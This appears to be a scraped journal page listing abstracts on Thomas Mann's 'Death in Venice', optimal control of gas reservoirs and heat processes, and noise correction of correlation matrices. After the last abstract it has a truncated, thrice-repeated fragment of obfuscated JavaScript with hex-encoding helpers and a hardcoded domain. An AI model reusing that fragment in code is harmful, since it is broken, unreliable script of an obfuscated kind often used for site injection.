Thomas Mann’s Novella “Death in Venice” in Intertext of Culture

Autobiographical motives in the novella “Death in Venice” by German writer Thomas Mann are considered. The author and his family’s trip to Italy, the history of creation of the work and the relationship between personal experiences of Th. Mann, on the one hand, and the thoughts and feelings of the hero of the novel, on the other, are described. The memories of the writer’s wife Katia Mann about some of the travel experiences in Italy and about the people who have served as prototypes for the characters in the novel are presented that, among other things, confirms the autobiographical character of the work. Critical studies of the novel “Death in Venice,” which mainly had a laudable character, are considered. The influence of the work on the works of other writers is noted, among which there are the works of Wolfgang Copens, Max Frisch, Philip Roth, etc. It is shown that the novel “Death in Venice” formed the basis of opera and film and is one of the most famous works in the world. The phenomenon of spiritual kinship between two great representatives of German literature of the first half of the 20th century Thomas Mann and Hermann Hesse is considered, certain similarity of their works “Death in Venice” and “Klein and Wagner,” mainly in representation of images of their main characters is analyzed

Solution of One Optimum Control Problem Regarding the Depletion of Gas Reservoir

Using the methods of the optimal control theory, the problem of determining the optimal technological mode of gas deposits' exploitation under the condition of their depletion by a given point in time is solved. This task is of particular interest for the exploitation of offshore fields, the activity of which is limited by the service life of the field equipment. The considered problem is also of certain mathematical interest as an objective of optimal control of nonlinear systems with distributed parameters. The usefulness and importance of solving such problems are determined by the richness of the class of major tasks that have a practical result. As an optimality criterion, a quadratic functional characterizing the conditions of reservoir depletion is considered. By introducing an auxiliary boundary value problem, and taking into account the stationarity conditions for the Lagrange functions at the optimal point, a formula for the gradient of the minimized functional is obtained. To obtain a solution to this specific optimization problem, which control function is sought in the class of a piecewise continuous and bounded function with discontinuities of the first kind, the Pontryagin's maximum principle is subjected. The calculation of the gradient of the functional for the original and adjoint problems with partial differential equations is carried out by the method of straight lines. The numerical solution of the problem was carried out by two methods – the method of gradient projection with a special choice of step and the method of successive approximations. Despite the incorrectness of optimal control problems with a quadratic functional, the gradient projection method did not show a tendency to «dispersion» and gave a convergent sequence of controls

Analysis of One Class of Optimal Control Problems for Distributed-parameter Systems

In the paper, the method of straight lines approximately solves one class of optimal control problems for systems, the behavior of which is described by a nonlinear equation of parabolic type and a set of ordinary differential equations. Control is carried out using distributed and lumped parameters. Distributed control is included in the partial differential equation, and lumped controls are contained both in the boundary conditions and in the right-hand side of the ordinary differential equation. The convergence of the solutions of the approximating boundary value problem to the solution of the original one is proved when the step of the grid of straight lines tends to zero, and on the basis of this fact, the convergence of the approximate solution of the approximating optimal problem with respect to the functional is established. A constructive scheme for constructing an optimal control by a minimizing sequence of controls is proposed. The control of the process in the approximate solution of a class of optimization problems is carried out on the basis of the Pontryagin maximum principle using the method of straight lines. For the numerical solution of the problem, a gradient projection scheme with a special choice of step is used, this gives a converging sequence in the control space. The numerical solution of one variational problem of the mentioned type related to a one-dimensional heat conduction equation with boundary conditions of the second kind is presented. An inequality-type constraint is imposed on the control function entering the right-hand side of the ordinary differential equation. The numerical results obtained on the basis of the compiled computer program are presented in the form of tables and figures. The described numerical method gives a sufficiently accurate solution in a short time and does not show a tendency to «dispersion». With an increase in the number of iterations, the value of the functional monotonically tends to zer

Development of the Algorithms of Correction of Correlation Matrices

Statistical methods are widely used in solving problems of automatic management of industrial objects, as they enable us to determine the dynamic characteristics during normal operation of objects. The statistical correlation method for determining these dynamic characteristics is based on the solution of an integral equation that includes the correlation functions and of the input and output signals. It allows us to obtain the dynamic characteristics of an object without disturbing its regular operation mode.However, the application of these methods for constructing mathematical models of real-life industrial objects presents the following certain difficulty. Interferences and noises are imposed upon the useful signal, hindering the calculation of the estimates of their static characteristics. The paper presents one possible option of creating alternative methods and technologies for eliminating the error induced by noise during the formation of correlation matrices. The proposed general algorithms allow for reducing these matrices to the similar matrices of useful signals.Two presented alternative robust technologies enable one to solve these problems both in the absence of a correlation between the useful signal and the noise and in the presence of such. The validity of the result is controlled by duplication the obtained estimates of the elements of matrices by both methods. In many real-life industrial objects the need to apply the procedure of normalization of the estimates take place. This leads to an additional error, which also leads to the disruption of adequacy of the results. In the paper, the general methods and technologies for eliminating that error are proposed.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;